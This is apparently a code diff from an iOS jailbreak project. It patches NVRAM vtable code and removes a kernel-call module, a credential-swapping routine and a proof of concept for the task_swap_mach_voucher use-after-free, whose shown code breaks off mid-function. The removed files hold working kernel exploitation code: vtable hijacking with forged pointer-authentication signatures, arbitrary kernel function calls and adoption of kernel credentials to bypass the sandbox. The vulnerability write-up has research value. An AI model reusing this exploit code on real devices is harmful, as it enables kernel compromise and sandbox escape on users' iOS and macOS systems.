@@ -50,9 +46,7 @@ uint64_t get_iodtnvram_obj(void) {
return IODTNVRAMObj;
}
uint64_t orig_vtable = 0;
uint64_t fake_vtable = 0;
uint64_t fake_vtable_xpac = 0;
uint64_t orig_vtable = -1;
int unlocknvram(void) {
uint64_t obj = get_iodtnvram_obj();
@@ -61,53 +55,45 @@ int unlocknvram(void) {
return 1;
}
orig_vtable = ReadKernel64(obj);
uint64_t vtable_xpac = kernel_xpacd(orig_vtable);
uint64_t *buf = calloc(1, max_vtable_size);
kread(vtable_xpac, buf, max_vtable_size);
// alter it
buf[getOFVariablePerm / sizeof(uint64_t)] = \
kernel_xpaci(buf[searchNVRAMProperty / sizeof(uint64_t)]);
uint64_t vtable_start = ReadKernel64(obj);
// allocate buffer in kernel
fake_vtable_xpac = IOMalloc(kernel_buffer_size);
// Forge the pacia pointers to the virtual methods.
size_t count = 0;
for (; count < max_vtable_size / sizeof(*buf); count++) {
uint64_t vmethod = buf[count];
if (vmethod == 0) {
break;
}
#if __arm64e__
assert(count < VTABLE_PAC_CODES(IODTNVRAM).count);
vmethod = kernel_xpaci(vmethod);
uint64_t vmethod_address = fake_vtable_xpac + count * sizeof(*buf);
buf[count] = kernel_forge_pacia_with_type(vmethod, vmethod_address,
VTABLE_PAC_CODES(IODTNVRAM).codes[count]);
#endif // __arm64e__
orig_vtable = vtable_start;
uint64_t vtable_end = vtable_start;
// Is vtable really guaranteed to end with 0 or was it just a coincidence?..
// should we just use some max value instead?
while (ReadKernel64(vtable_end) != 0) vtable_end += sizeof(uint64_t);
uint32_t vtable_len = (uint32_t) (vtable_end - vtable_start);
// copy vtable to userspace
uint64_t *buf = calloc(1, vtable_len);
rkbuffer(vtable_start, buf, vtable_len);
LOG("IODTNVRAM vtable: 0x%llx - 0x%llx", vtable_start, vtable_end);
for (int i = 0; i != vtable_len; i += sizeof(uint64_t)) {
LOG("\t[0x%03x]: 0x%llx", i, buf[i/sizeof(uint64_t)]);
}
// and copy it back
kwrite(fake_vtable_xpac, buf, count*sizeof(*buf));
#if __arm64e__
fake_vtable = kernel_forge_pacda(fake_vtable_xpac, 0);
#else
fake_vtable = fake_vtable_xpac;
#endif
// alter it
buf[VTB_IODTNVRAM__GETOFVARIABLEPERM / sizeof(uint64_t)] = \
buf[VTB_IODTNVRAM__SEARCHNVRAMPROPERTY / sizeof(uint64_t)];
// allocate buffer in kernel and copy it back
uint64_t fake_vtable = kmem_alloc_wired(vtable_len);
wkbuffer(fake_vtable, buf, vtable_len);
// replace vtable on IODTNVRAM object
WriteKernel64(obj, fake_vtable);
SafeFreeNULL(buf);
free(buf);
LOG("Unlocked nvram");
return 0;
}
int locknvram(void) {
if (orig_vtable == 0 || fake_vtable_xpac == 0) {
if (orig_vtable == -1) {
LOG("Trying to lock nvram, but didnt unlock first");
return -1;
}
@@ -119,7 +105,6 @@ int locknvram(void) {
}
WriteKernel64(obj, orig_vtable);
SafeIOFreeNULL(fake_vtable_xpac, kernel_buffer_size);
LOG("Locked nvram");
return 0;
-358
View File
@@ -1,358 +0,0 @@
/*
* kernel_call/user_client.c
* Brandon Azad
*/
#include "user_client.h"
#include <assert.h>
#include "IOKitLib.h"
#include "kernel_call.h"
#include "kc_parameters.h"
#include "pac.h"
#include "kernel_memory.h"
#include "kernel_slide.h"
#include "log.h"
#include "mach_vm.h"
#include "parameters.h"
#include "common.h"
// ---- Global variables --------------------------------------------------------------------------
// The connection to the user client.
static io_connect_t connection;
// The address of the user client.
static uint64_t user_client;
// The address of the IOExternalTrap.
static uint64_t trap;
// The size of our kernel buffer.
static const size_t kernel_buffer_size = 0x4000;
// The address of our kernel buffer.
static uint64_t kernel_buffer;
// The maximum size of the vtable.
static const size_t max_vtable_size = 0x1000;
// The user client's original vtable pointer.
static uint64_t original_vtable;
// ---- Stage 1 -----------------------------------------------------------------------------------
/*
* kernel_get_proc_for_task
*
* Description:
* Get the proc struct for a task.
*/
static uint64_t
kernel_get_proc_for_task(uint64_t task) {
return kernel_read64(task + OFFSET(task, bsd_info));
}
/*
* stage0_create_user_client
*
* Description:
* Create a connection to an IOAudio2DeviceUserClient object.
*/
static bool
stage0_create_user_client() {
bool success = false;
// First get a handle to some IOAudio2Device driver.
io_iterator_t iter;
kern_return_t kr = IOServiceGetMatchingServices(
kIOMasterPortDefault,
IOServiceMatching("IOAudio2Device"),
&iter);
if (iter == MACH_PORT_NULL) {
ERROR("could not find services matching %s", "IOAudio2Device");
goto fail_0;
}
// Now try to open each service in turn.
for (;;) {
// Get the service.
mach_port_t IOAudio2Device = IOIteratorNext(iter);
if (IOAudio2Device == MACH_PORT_NULL) {
ERROR("could not open any %s", "IOAudio2Device");
break;
}
// Now open a connection to it.
kr = IOServiceOpen(
IOAudio2Device,
mach_task_self(),
0,
&connection);
IOObjectRelease(IOAudio2Device);
if (kr == KERN_SUCCESS) {
success = true;
break;
}
DEBUG_TRACE(2, "%s returned 0x%x: %s", "IOServiceOpen", kr, mach_error_string(kr));
DEBUG_TRACE(2, "could not open %s", "IOAudio2DeviceUserClient");
}
fail_1:
IOObjectRelease(iter);
fail_0:
return success;
}
/*
* stage0_find_user_client_trap
*
* Description:
* Get the address of the IOAudio2DeviceUserClient and its IOExternalTrap.
*/
static void
stage0_find_user_client_trap() {
assert(MACH_PORT_VALID(connection));
// Get the address of the port representing the IOAudio2DeviceUserClient.
uint64_t user_client_port;
bool ok = kernel_ipc_port_lookup(current_task, connection, &user_client_port, NULL);
assert(ok);
// Get the address of the IOAudio2DeviceUserClient.
user_client = kernel_read64(user_client_port + OFFSET(ipc_port, ip_kobject));
// Get the address of the IOExternalTrap.
trap = kernel_read64(user_client + OFFSET(IOAudio2DeviceUserClient, traps));
DEBUG_TRACE(2, "%s is at 0x%016llx", "IOExternalTrap", trap);
}
/*
* stage0_allocate_kernel_buffer
*
* Description:
* Allocate a buffer in kernel memory.
*/
static bool
stage0_allocate_kernel_buffer() {
kern_return_t kr = mach_vm_allocate(kernel_task_port, &kernel_buffer,
kernel_buffer_size, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) {
ERROR("%s returned %d: %s", "mach_vm_allocate", kr, mach_error_string(kr));
ERROR("could not allocate kernel buffer");
return false;
}
DEBUG_TRACE(1, "allocated kernel buffer at 0x%016llx", kernel_buffer);
return true;
}
// ---- Stage 3 -----------------------------------------------------------------------------------
/*
* kernel_read_vtable_method
*
* Description:
* Read the virtual method pointer at the specified index in the vtable.
*/
static uint64_t
kernel_read_vtable_method(uint64_t vtable, size_t index) {
uint64_t vmethod_address = vtable + index * sizeof(uint64_t);
return kernel_read64(vmethod_address);
}
/*
* stage2_copyout_user_client_vtable
*
* Description:
* Copy out the user client's vtable to userspace. The returned array must be freed when no
* longer needed.
*/
static uint64_t *
stage2_copyout_user_client_vtable() {
// Get the address of the vtable.
original_vtable = kernel_read64(user_client);
uint64_t original_vtable_xpac = kernel_xpacd(original_vtable);
// Read the contents of the vtable to local buffer.
uint64_t *vtable_contents = malloc(max_vtable_size);
assert(vtable_contents != NULL);
kernel_read(original_vtable_xpac, vtable_contents, max_vtable_size);
return vtable_contents;
}
/*
* stage2_patch_user_client_vtable
*
* Description:
* Patch the contents of the user client's vtable in preparation for stage 3.
*/
static size_t
stage2_patch_user_client_vtable(uint64_t *vtable) {
// Replace the original vtable's IOUserClient::getTargetAndTrapForIndex() method with the
// original version (which calls IOUserClient::getExternalTrapForIndex()).
uint64_t IOUserClient__getTargetAndTrapForIndex = kernel_read_vtable_method(
ADDRESS(IOUserClient__vtable),
VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex));
vtable[VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex)]
= IOUserClient__getTargetAndTrapForIndex;
// Replace the original vtable's IOUserClient::getExternalTrapForIndex() method with
// IORegistryEntry::getRegistryEntryID().
vtable[VTABLE_INDEX(IOUserClient, getExternalTrapForIndex)] =
ADDRESS(IORegistryEntry__getRegistryEntryID);
// Forge the pacia pointers to the virtual methods.
size_t count = 0;
for (; count < max_vtable_size / sizeof(*vtable); count++) {
uint64_t vmethod = vtable[count];
if (vmethod == 0) {
break;
}
#if __arm64e__
assert(count < VTABLE_PAC_CODES(IOAudio2DeviceUserClient).count);
vmethod = kernel_xpaci(vmethod);
uint64_t vmethod_address = kernel_buffer + count * sizeof(*vtable);
vtable[count] = kernel_forge_pacia_with_type(vmethod, vmethod_address,
VTABLE_PAC_CODES(IOAudio2DeviceUserClient).codes[count]);
#endif // __arm64e__
}
return count;
}
/*
* stage2_patch_user_client
*
* Description:
* Patch the user client in preparation for stage 3.
*/
static void
stage2_patch_user_client(uint64_t *vtable, size_t count) {
// Write the vtable to the kernel buffer.
kernel_write(kernel_buffer, vtable, count * sizeof(*vtable));
// Overwrite the user client's registry entry ID to point to the IOExternalTrap.
uint64_t reserved_field = user_client + OFFSET(IORegistryEntry, reserved);
uint64_t reserved = kernel_read64(reserved_field);
uint64_t id_field = reserved + OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID);
kernel_write64(id_field, trap);
// Forge the pacdza pointer to the vtable.
uint64_t vtable_pointer = kernel_forge_pacda(kernel_buffer, 0);
// Overwrite the user client's vtable pointer with the forged pointer to our fake vtable.
kernel_write64(user_client, vtable_pointer);
}
/*
* stage2_unpatch_user_client
*
* Description:
* Undo the patches to the user client.
*/
static void
stage2_unpatch_user_client() {
// Write the original vtable pointer back to the user client.
kernel_write64(user_client, original_vtable);
}
// ---- API ---------------------------------------------------------------------------------------
bool
stage1_kernel_call_init() {
// Initialize the parameters. We do this first to fail early.
bool ok = kernel_call_parameters_init();
if (!ok) {
return false;
}
// Create the IOAudio2DeviceUserClient.
ok = stage0_create_user_client();
if (!ok) {
ERROR("could not create %s", "IOAudio2DeviceUserClient");
return false;
}
// Find the IOAudio2DeviceUserClient's IOExternalTrap.
stage0_find_user_client_trap();
// Allocate the kernel buffer.
ok = stage0_allocate_kernel_buffer();
if (!ok) {
return false;
}
return true;
}
void
stage1_kernel_call_deinit() {
if (trap != 0) {
// Zero out the trap.
uint8_t trap_data[SIZE(IOExternalTrap)];
memset(trap_data, 0, SIZE(IOExternalTrap));
kernel_write(trap, trap_data, SIZE(IOExternalTrap));
trap = 0;
}
if (kernel_buffer != 0) {
// Deallocate our kernel buffer.
mach_vm_deallocate(mach_task_self(), kernel_buffer, kernel_buffer_size);
kernel_buffer = 0;
}
if (MACH_PORT_VALID(connection)) {
// Close the connection.
IOServiceClose(connection);
connection = MACH_PORT_NULL;
}
}
uint64_t
stage1_get_kernel_buffer() {
assert(kernel_buffer_size >= 0x2000);
return kernel_buffer + kernel_buffer_size - 0x1000;
}
uint32_t
stage1_kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) {
assert(function != 0);
assert(argument_count <= 7);
assert(argument_count == 0 || arguments[0] != 0);
assert(MACH_PORT_VALID(connection) && trap != 0);
// Get exactly 7 arguments. Initialize args[0] to 1 in case there are no arguments.
uint64_t args[7] = { 1 };
for (size_t i = 0; i < argument_count && i < 7; i++) {
args[i] = arguments[i];
}
// Initialize the IOExternalTrap for this call.
uint8_t trap_data[SIZE(IOExternalTrap)];
FIELD(trap_data, IOExternalTrap, object, uint64_t) = args[0];
FIELD(trap_data, IOExternalTrap, function, uint64_t) = function;
FIELD(trap_data, IOExternalTrap, offset, uint64_t) = 0;
kernel_write(trap, trap_data, SIZE(IOExternalTrap));
// Perform the function call.
uint32_t result = IOConnectTrap6(connection, 0,
args[1], args[2], args[3], args[4], args[5], args[6]);
return result;
}
bool
stage3_kernel_call_init() {
uint64_t *vtable = stage2_copyout_user_client_vtable();
size_t count = stage2_patch_user_client_vtable(vtable);
stage2_patch_user_client(vtable, count);
SafeFreeNULL(vtable);
return true;
}
void
stage3_kernel_call_deinit() {
if (original_vtable != 0) {
stage2_unpatch_user_client();
original_vtable = 0;
}
}
uint32_t
kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) {
return stage2_kernel_call_7v(function, argument_count, arguments);
}
void
assume_kernel_credentials(uint64_t *ucred_field, uint64_t *ucred) {
uint64_t proc_self = kernel_get_proc_for_task(current_task);
uint64_t kernel_proc = kernel_get_proc_for_task(kernel_task);
uint64_t proc_self_ucred_field = proc_self + OFFSET(proc, p_ucred);
uint64_t kernel_proc_ucred_field = kernel_proc + OFFSET(proc, p_ucred);
uint64_t proc_self_ucred = kernel_read64(proc_self_ucred_field);
uint64_t kernel_proc_ucred = kernel_read64(kernel_proc_ucred_field);
kernel_write64(proc_self_ucred_field, kernel_proc_ucred);
*ucred_field = proc_self_ucred_field;
*ucred = proc_self_ucred;
}
void
restore_credentials(uint64_t ucred_field, uint64_t ucred) {
kernel_write64(ucred_field, ucred);
}
-91
View File
@@ -1,91 +0,0 @@
/*
* kernel_call/user_client.h
* Brandon Azad
*/
#ifndef VOUCHER_SWAP__KERNEL_CALL__USER_CLIENT_H_
#define VOUCHER_SWAP__KERNEL_CALL__USER_CLIENT_H_
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
/*
* stage1_kernel_call_init
*
* Description:
* Initialize stage 1 of kernel function calling.
*
* Initializes:
* kernel_call_parameters_init()
* stage1_kernel_call_7v()
*/
bool stage1_kernel_call_init(void);
/*
* stage1_kernel_call_deinit
*
* Description:
* Deinitialize stage 1 of kernel function calling.
*/
void stage1_kernel_call_deinit(void);
/*
* stage1_get_kernel_buffer
*
* Description:
* Get the address of a 0x1000-byte scratch space in kernel memory that can be used by other
* stages.
*/
uint64_t stage1_get_kernel_buffer(void);
/*
* stage1_kernel_call_7v
*
* Description:
* Call a kernel function using our stage 1 execute primitive.
*
* Restrictions:
* At most 7 arguments can be passed.
* The return value is truncated to 32 bits.
* At stage 1, only arguments X1 - X6 are controlled.
* The function pointer must already have a PAC signature.
*/
uint32_t stage1_kernel_call_7v(uint64_t function,
size_t argument_count, const uint64_t arguments[]);
/*
* stage3_kernel_call_init
*
* Description:
* Initialize stage 3 of kernel function calling.
*
* Initializes:
* kernel_call_7v()
*/
bool stage3_kernel_call_init(void);
/*
* stage3_kernel_call_deinit
*
* Description:
* Deinitialize stage 3 of kernel function calling.
*/
void stage3_kernel_call_deinit(void);
/*
* assume_kernel_credentials
*
* Description:
* Set this process's credentials to the kernel's credentials so that we can bypass sandbox
* checks.
*/
void assume_kernel_credentials(uint64_t *ucred_field, uint64_t *ucred);
/*
* restore_credentials
*
* Description:
* Restore this process's credentials after calling assume_kernel_credentials().
*/
void restore_credentials(uint64_t ucred_field, uint64_t ucred);
#endif
+10 -128
View File
@@ -10,85 +10,17 @@
#define _UTILS_H
#import <sys/types.h>
#import <sys/stat.h>
#include <mach/machine.h>
#import "ArchiveFile.h"
#define system(x) _system(x)
extern int logfd;
extern bool injectedToTrustCache;
extern NSMutableArray *toInjectToTrustCache;
#define DEFAULT_VERSION_STRING "Hacked"
#define SLIDE_FILE "/var/tmp/slide.txt"
typedef enum {
empty_list_exploit = 0,
multi_path_exploit,
async_wake_exploit,
voucher_swap_exploit,
mach_swap_exploit,
mach_swap_2_exploit,
deja_xnu_exploit,
necp_exploit,
kalloc_crash
} exploit_t;
typedef enum {
substrate_substitutor = 0,
} substitutor_t;
typedef enum {
jailbreak_capability = 0,
respring_capability,
reboot_capability
} exploit_capability_t;
typedef enum {
lowest_exploit_reliability = 0,
low_exploit_reliability,
middle_exploit_reliability,
high_exploit_reliability,
highest_exploit_reliability
} exploit_reliability;
typedef struct {
const char *min_kernel_version;
const char *max_kernel_version;
bool (^handler)(void);
} device_support_info_t;
typedef struct {
exploit_t exploit;
const char *name;
exploit_capability_t exploit_capability;
exploit_reliability exploit_reliability;
device_support_info_t device_support_info;
} exploit_info_t;
typedef enum {
lowest_substitutor_stability = 0,
low_substitutor_stability,
middle_substitutor_stability,
high_substitutor_stability,
highest_substitutor_stability
} substitutor_stability;
typedef struct {
substitutor_t substitutor;
const char *name;
const char *package_id;
const char *startup_executable;
const char *server_executable;
const char *run_command;
const char *loader_killswitch;
const char *bootstrap_tools;
substitutor_stability substitutor_stability;
device_support_info_t device_support_info;
char **resources;
} substitutor_info_t;
extern exploit_info_t *exploit_infos[];
extern substitutor_info_t *substitutor_infos[];
#define empty_list_exploit 0
#define multi_path_exploit 1
#define async_wake_exploit 2
#define deja_xnu_exploit 3
#define necp_exploit 4
enum hashtype {
HASHTYPE_MD5 = 0,
@@ -96,17 +28,6 @@ enum hashtype {
};
int proc_pidpath(pid_t pid, void *buffer, uint32_t buffersize);
@interface LSApplicationWorkspace : NSObject
+ (id) defaultWorkspace;
- (BOOL) registerApplication:(id)application;
- (BOOL) unregisterApplication:(id)application;
- (BOOL) invalidateIconCache:(id)bundle;
- (BOOL) registerApplicationDictionary:(id)application;
- (BOOL) installApplication:(id)application withOptions:(id)options;
- (BOOL) _LSPrivateRebuildApplicationDatabasesForSystemApps:(BOOL)system internal:(BOOL)internal user:(BOOL)user;
- (BOOL) applicationIsInstalled:(id)arg1;
@end
static inline bool create_file_data(const char *file, int owner, mode_t mode, NSData *data) {
return [[NSFileManager defaultManager] createFileAtPath:@(file) contents:data attributes:@{
NSFileOwnerAccountID: @(owner),
@@ -148,10 +69,10 @@ bool pkgIsInstalled(char *packageID);
bool pkgIsConfigured(char *packageID);
bool pkgIsBy(const char *maintainer, const char *packageID);
bool compareInstalledVersion(const char *packageID, const char *op, const char *version);
bool extractDeb(NSString *debPath, bool doInject);
bool extractDebs(NSArray <NSString *> *debPaths, bool doInject);
bool extractDeb(NSString *debPath);
bool extractDebs(NSArray <NSString *> *debPaths);
bool installDeb(const char *debName, bool forceDeps);
bool installDebs(NSArray <NSString*> *debs, bool forceDeps, bool forceAll);
bool installDebs(NSArray <NSString*> *debs, bool forceDeps);
bool removePkg(char *packageID, bool forceDeps);
bool removePkgs(NSArray <NSString*> *packageIDs, bool forceDeps);
BOOL compareDpkgVersion(NSString *version1, NSString *op, NSString *version2, BOOL *result);
@@ -159,12 +80,7 @@ NSString *debForPkg(NSString *pkg);
bool aptUpdate(void);
bool aptInstall(NSArray <NSString*> *pkgs);
bool aptUpgrade(void);
bool aptRepair(void);
bool runApt(NSArray <NSString*> *args);
bool extractAptPkgList(NSString *path, ArchiveFile* listcache, id_t owner);
bool ensureAptPkgLists(void);
bool removeURLFromSources(NSMutableString *sources, NSString *url);
void deduplicateSillySources(void);
bool is_symlink(const char *filename);
bool is_directory(const char *filename);
bool is_mountpoint(const char *filename);
@@ -176,60 +92,26 @@ int runCommandv(const char *cmd, int argc, const char * const* argv, void (^unre
int runCommand(const char *cmd, ...);
NSString *pathForResource(NSString *resource);
pid_t pidOfProcess(const char *name);
char *getKernelVersion(void);
char *getMachineName(void);
char *getModelName(void);
bool kernelVersionContains(const char *string);
bool machineNameContains(const char *string);
bool multi_path_tcp_enabled(void);
bool jailbreakEnabled(void);
NSString *getKernelBuildVersion(void);
exploit_info_t *get_exploit_info(exploit_t exploit);
substitutor_info_t *get_substitutor_info(substitutor_t substitutor);
bool checkDeviceSupport(device_support_info_t device_support);
bool supportsExploit(NSInteger exploit);
bool jailbreakSupported(void);
bool substitutorSupported(void);
bool respringSupported(void);
bool restartSupported(void);
NSInteger recommendedJailbreakSupport(void);
NSInteger recommendedSubstitutorSupport(void);
NSInteger recommendedRestartSupport(void);
NSInteger recommendedRespringSupport(void);
bool daemonIsLoaded(char *daemonID);
NSString *bundledResourcesVersion(void);
NSString *appVersion(void);
bool debuggerEnabled(void);
NSString *getLogFile(void);
const char *getLogFile(void);
void enableLogging(void);
void disableLogging(void);
void cleanLogs(void);
bool modifyPlist(NSString *filename, void (^function)(id));
void list(NSString *directory);
bool canRead(const char *file);
bool restartSpringBoard(void);
bool uninstallRootLessJB(void);
bool verifyECID(NSString *ecid);
bool canOpen(const char *URL);
bool airplaneModeEnabled(void);
bool installApp(const char *bundle);
bool rebuildApplicationDatabases(void);
char *get_path_for_pid(pid_t pid);
NSString *getECID(void);
NSString *getUDID(void);
char *sysctlWithName(const char *name);
char *getOSVersion(void);
char *getOSProductVersion(void);
void printOSDetails(void);
bool isBetaFirmware(void);
double getUptime(void);
vm_size_t get_kernel_page_size(void);
int waitForFile(const char *filename);
NSString *hexFromInt(NSInteger val);
void waitFor(int seconds);
bool blockDomainWithName(const char *name);
bool unblockDomainWithName(const char *name);
bool cydiaIsInstalled(void);
NSString *localize(NSString *str, ...);
extern NSData *lastSystemOutput;
+268 -882
View File
File diff suppressed because it is too large Load Diff
-375
View File
@@ -1,375 +0,0 @@
/*
* voucher_swap-poc.c
* Brandon Azad
*/
#if 0
iOS/macOS: task_swap_mach_voucher() does not respect MIG semantics leading to use-after-free
The dangers of not obeying MIG semantics have been well documented: see issues 926 (CVE-2016-7612),
954 (CVE-2016-7633), 1417 (CVE-2017-13861, async_wake), 1520 (CVE-2018-4139), 1529 (CVE-2018-4206),
and 1629 (no CVE), as well as CVE-2018-4280 (blanket). However, despite numerous fixes and
mitigations, MIG issues persist and offer incredibly powerful exploit primitives. Part of the
problem is that MIG semantics are complicated and unintuitive and do not align well with the
kernel's abstractions.
Consider the MIG routine task_swap_mach_voucher():
routine task_swap_mach_voucher(
task : task_t;
new_voucher : ipc_voucher_t;
inout old_voucher : ipc_voucher_t);
Here's the (placeholder) implementation:
kern_return_t
task_swap_mach_voucher(
task_t task,
ipc_voucher_t new_voucher,
ipc_voucher_t *in_out_old_voucher)
{
if (TASK_NULL == task)
return KERN_INVALID_TASK;
*in_out_old_voucher = new_voucher;
return KERN_SUCCESS;
}
The correctness of this implementation depends on exactly how MIG ownership semantics are defined
for each of these parameters.
When dealing with Mach ports and out-of-line memory, ownership follows the traditional rules (the
ones violated by the bugs above):
1. All Mach ports (except the first) passed as input parameters are owned by the service routine if
and only if the service routine returns success. If the service routine returns failure then MIG
will deallocate the ports.
2. All out-of-line memory regions passed as input parameters are owned by the service routine if
and only if the service routine returns success. If the service routine returns failure then MIG
will deallocate all out-of-line memory.
But this is only part of the picture. There are more rules for other types of objects:
3. All objects with defined MIG translations that are passed as input-only parameters are borrowed
by the service routine. For reference-counted objects, this means that the service routine is
not given a reference, and hence a reference must be added if the service routine intends to
keep the object around.
4. All objects with defined MIG translations that are returned in output parameters must be owned
by the output parameter. For reference-counted objects, this means that output parameters
consume a reference on the object.
And most unintuitive of all:
5. All objects with defined MIG translations that are passed as input in input-output parameters
are owned (not borrowed!) by the service routine. This means that the service routine must
consume the input object's reference.
Having defined MIG translations means that there is an automatic conversion defined between the
object type and its Mach port representation. A task port is one example of such a type: you can
convert a task port to the underlying task object using convert_port_to_task(), and you can convert
a task to its corresponding port using convert_task_to_port().
Getting back to Mach vouchers, this is the MIG definition of ipc_voucher_t:
type ipc_voucher_t = mach_port_t
intran: ipc_voucher_t convert_port_to_voucher(mach_port_t)
outtran: mach_port_t convert_voucher_to_port(ipc_voucher_t)
destructor: ipc_voucher_release(ipc_voucher_t)
;
This definition means that MIG will automatically convert the voucher port input parameters to
ipc_voucher_t objects using convert_port_to_voucher(), convert the ipc_voucher_t output parameters
into ports using convert_voucher_to_port(), and discard any extra references using
ipc_voucher_release(). Note that convert_port_to_voucher() produces a voucher reference without
consuming a port reference, while convert_voucher_to_port() consumes a voucher reference and
produces a port reference.
To confirm our understanding of the MIG semantics outlined above, we can look at the function
_Xtask_swap_mach_voucher(), which is generated by MIG during the build process:
mig_internal novalue _Xtask_swap_mach_voucher
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
{
...
kern_return_t RetCode;
task_t task;
ipc_voucher_t new_voucher;
ipc_voucher_t old_voucher;
...
task = convert_port_to_task(In0P->Head.msgh_request_port);
new_voucher = convert_port_to_voucher(In0P->new_voucher.name);
old_voucher = convert_port_to_voucher(In0P->old_voucher.name);
RetCode = task_swap_mach_voucher(task, new_voucher, &old_voucher);
ipc_voucher_release(new_voucher);
task_deallocate(task);
if (RetCode != KERN_SUCCESS) {
MIG_RETURN_ERROR(OutP, RetCode);
}
...
if (IP_VALID((ipc_port_t)In0P->old_voucher.name))
ipc_port_release_send((ipc_port_t)In0P->old_voucher.name);
if (IP_VALID((ipc_port_t)In0P->new_voucher.name))
ipc_port_release_send((ipc_port_t)In0P->new_voucher.name);
...
OutP->old_voucher.name = (mach_port_t)convert_voucher_to_port(old_voucher);
OutP->Head.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
OutP->Head.msgh_size = (mach_msg_size_t)(sizeof(Reply));
OutP->msgh_body.msgh_descriptor_count = 1;
}
Tracing where each of the references are going, we can deduce that:
1. The new_voucher parameter is deallocated with ipc_voucher_release() after invoking the service
routine, so it is not owned by task_swap_mach_voucher(). In other words,
task_swap_mach_voucher() is not given a reference on new_voucher.
2. The old_voucher parameter has a reference on it before it gets overwritten by
task_swap_mach_voucher(), which means task_swap_mach_voucher() is being given a reference on the
input value of old_voucher.
3. The value returned by task_swap_mach_voucher() in old_voucher is passed to
convert_voucher_to_port(), which consumes a reference on the voucher. Thus,
task_swap_mach_voucher() is giving _Xtask_swap_mach_voucher() a reference on the output value of
old_voucher.
Finally, looking back at the implementation of task_swap_mach_voucher(), we can see that none of
these rules are being followed:
kern_return_t
task_swap_mach_voucher(
task_t task,
ipc_voucher_t new_voucher,
ipc_voucher_t *in_out_old_voucher)
{
if (TASK_NULL == task)
return KERN_INVALID_TASK;
*in_out_old_voucher = new_voucher;
return KERN_SUCCESS;
}
This results in two separate reference counting issues:
1. By overwriting the value of in_out_old_voucher without first releasing the reference, we are
leaking a reference on the input value of old_voucher.
2. By assigning the value of new_voucher to in_out_old_voucher without adding a reference, we are
consuming a reference we don't own, leading to an over-release of new_voucher.
Now, Apple has previously added a mitigation to make reference count leaks on Mach ports
non-exploitable by having the reference count saturate before it overflows. However, this
mitigation is not relevant here because we're leaking a reference on the actual ipc_voucher_t, not
on the voucher port that represents the voucher. And looking at the implementation of
ipc_voucher_reference() and ipc_voucher_release() (as of macOS 10.13.6), it's clear that the
voucher reference count is tracked independently of the port reference count:
void
ipc_voucher_reference(ipc_voucher_t voucher)
{
iv_refs_t refs;
if (IPC_VOUCHER_NULL == voucher)
return;
refs = iv_reference(voucher);
assert(1 < refs);
}
void
ipc_voucher_release(ipc_voucher_t voucher)
{
if (IPC_VOUCHER_NULL != voucher)
iv_release(voucher);
}
static inline iv_refs_t
iv_reference(ipc_voucher_t iv)
{
iv_refs_t refs;
refs = hw_atomic_add(&iv->iv_refs, 1);
return refs;
}
static inline void
iv_release(ipc_voucher_t iv)
{
iv_refs_t refs;
assert(0 < iv->iv_refs);
refs = hw_atomic_sub(&iv->iv_refs, 1);
if (0 == refs)
iv_dealloc(iv, TRUE);
}
(The assert()s are not live on production builds.)
This vulnerability can be triggered without crossing any privilege/MACF checks, so it should be
reachable within every process and every sandbox.
On iOS 11 and macOS 10.13, both the over-reference and over-release vulnerabilities can be
independently exploited to free an ipc_voucher_t while it is still in use. On these platforms these
are incredibly powerful vulnerabilities, since they also let us receive a send right to a
freed-and-reallocated Mach port back in userspace. For some examples of why this is dangerous, see
Ian's thoughts in issue 941: <https://bugs.chromium.org/p/project-zero/issues/detail?id=941#c3>.
As of iOS 12 and macOS 10.14, the voucher reference count is checked for underflow and overflow,
which does make the over-reference vulnerability non-exploitable. However, the over-release
vulnerability is still fully exploitable, and probably can still be used as a single,
direct-to-kernel bug from any process.
Additionally, while this report is of a single bug, it should indicate a wider problem with the
complexity of obeying MIG semantics. It might be worth reviewing other edge cases of MIG semantics
not covered by previous bugs.
(There's a variant of the over-reference vulnerability in thread_swap_mach_voucher(), but it is no
longer exploitable as of iOS 12.)
This proof-of-concept demonstrates the vulnerability by creating a Mach voucher, saving a reference
to it in the current thread's ith_voucher field via thread_set_mach_voucher(), decreasing the
reference count back to 1 using task_swap_mach_voucher(), and then freeing the voucher by
deallocating the voucher port in userspace. This leaves a dangling pointer to the freed voucher's
memory in ith_voucher, which can subsequently be accessed with a call to thread_get_mach_voucher(),
triggering a panic.
Tested on macOS 10.13.6 (17G4015), macOS 10.14.2, and iOS 12.1 (16B92).
#endif
#include <assert.h>
#include <mach/mach.h>
#include <stdio.h>
#include <unistd.h>
// Stash the host port for create_voucher().
static mach_port_t host;
/*
* create_voucher
*
* Description:
* Create a Mach voucher. If id is unique, then this will be a unique voucher (until another
* call to this function with the same id).
*
* A Mach voucher port for the voucher is returned. The voucher has 1 reference, while the
* voucher port has 2 references and 1 send right.
*/
static mach_port_t
create_voucher(uint64_t id) {
assert(host != MACH_PORT_NULL);
mach_port_t voucher = MACH_PORT_NULL;
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wgnu-variable-sized-type-not-at-end"
struct __attribute__((packed)) {
mach_voucher_attr_recipe_data_t user_data_recipe;
uint64_t user_data_content[2];
} recipes = {};
#pragma clang diagnostic pop
recipes.user_data_recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA;
recipes.user_data_recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE;
recipes.user_data_recipe.content_size = sizeof(recipes.user_data_content);
recipes.user_data_content[0] = getpid();
recipes.user_data_content[1] = id;
kern_return_t kr = host_create_mach_voucher(
host,
(mach_voucher_attr_raw_recipe_array_t) &recipes,
sizeof(recipes),
&voucher);
assert(kr == KERN_SUCCESS);
assert(voucher != MACH_PORT_NULL);
return voucher;
}
/*
* voucher_tweak_references
*
* Description:
* Use the task_swap_mach_voucher() vulnerabilities to modify the reference counts of 2
* vouchers.
*
*/
static void
voucher_tweak_references(mach_port_t release_voucher, mach_port_t reference_voucher) {
// Call task_swap_mach_voucher() to tweak the reference counts (two bugs in one!).
mach_port_t inout_voucher = reference_voucher;
kern_return_t kr = task_swap_mach_voucher(mach_task_self(), release_voucher, &inout_voucher);
